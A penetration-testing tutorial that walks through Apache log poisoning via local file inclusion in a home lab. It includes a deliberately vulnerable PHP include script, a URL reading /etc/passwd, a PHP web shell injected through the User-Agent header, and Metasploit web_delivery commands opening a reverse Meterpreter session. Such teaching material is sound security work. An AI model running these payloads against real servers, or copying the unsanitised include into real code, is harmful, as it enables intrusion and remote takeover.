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Apache Log Poisoning through LFI

In this article, we are demonstrating how a PHP file with include function can lead to LFI log injection attack in any web server. Please read our previous article “Beginner Guide to File Inclusion Attack (LFI/RFI)” and “Configure Web Server for Penetration Testing (Beginner Guide)” that will help you in the configuration of own web server as well as more about LFI vulnerability.

Attacker: Kali Linux

Target: Ubuntu

Create a PHP file which will allow the user to include a file through a file parameter. Hence using file parameter we can execute a file that contains malicious code to make unauthorized access is target PC.

Now I had saved given below PHP code inside a text file as lfi.php and saved on the desktop.

<?php
   $file = $_GET['file'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("index.php");
   }
   ?>

Now login with the user as “root” and create a folder “lfi” inside /var/www/html

cd /var/www/html
mkdir lfi

Move the lfi.php file from desktop to /var/www/html using given below command.

mv /home/raj/Desktop/lfi.php .

Since we had added a php file with include function inside /var/www/html which allow to read the content of another file through it and can lead to LFI attack. Let’s demonstrate it by exploring the following URL to read password files:

localhost/lfi/lfi.php?file=/etc/passwd

From the given image you can observe that the above URL has dumped the following result shown below.

Now I will try to open Apache access.log file through lfi.php on the browser, therefore, give read and write permission to apache2 and then include the access.log file.

chmod 775 -R /var/log/apache2

Now to include the acess.log file as file parameter and give following URL inside the browser.

192.168.1.129/lfi/lfi.php?file=/var/log/apache2/access.log

From the given image you can see it is showing created apache logs in the browser. Now turn on burp suite to capture the request of the same web page.

Here you will get intercepted data where we need to inject our cmd comment inside user-agent by replacing highlighted data.

Add cmd comment

<?php system($_GET['c']); ?>

inside user_Agent and send the request with GET parameter as shown in the below image. Then click on forward.

Here it will dump the log data as well as execute comment given through cmd. From the screenshot, you can view both logs as well as process state.

In the same manner, execute ifconfig through cmd to verify network interface or can browse the following URL and view the result from inside the given screenshot.

192.168.1.129/lfi/lfi.php?file=/var/log/apache2/access.log&c=ifconfig

If you found such kind of vulnerability in any web application then you can use Metasploit platform to exploit web server.

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set lhost 192.168.1.123
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>exploit

Copy the highlighted text shown in below window

 Paste the above copied malicious code inside URL as shown in the given image and execute it as a command.

When the above code gets executed you will get meterpreter session 1.

msf exploit (web_delivery)>sessions 1
meterpreter> sysinfo

Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

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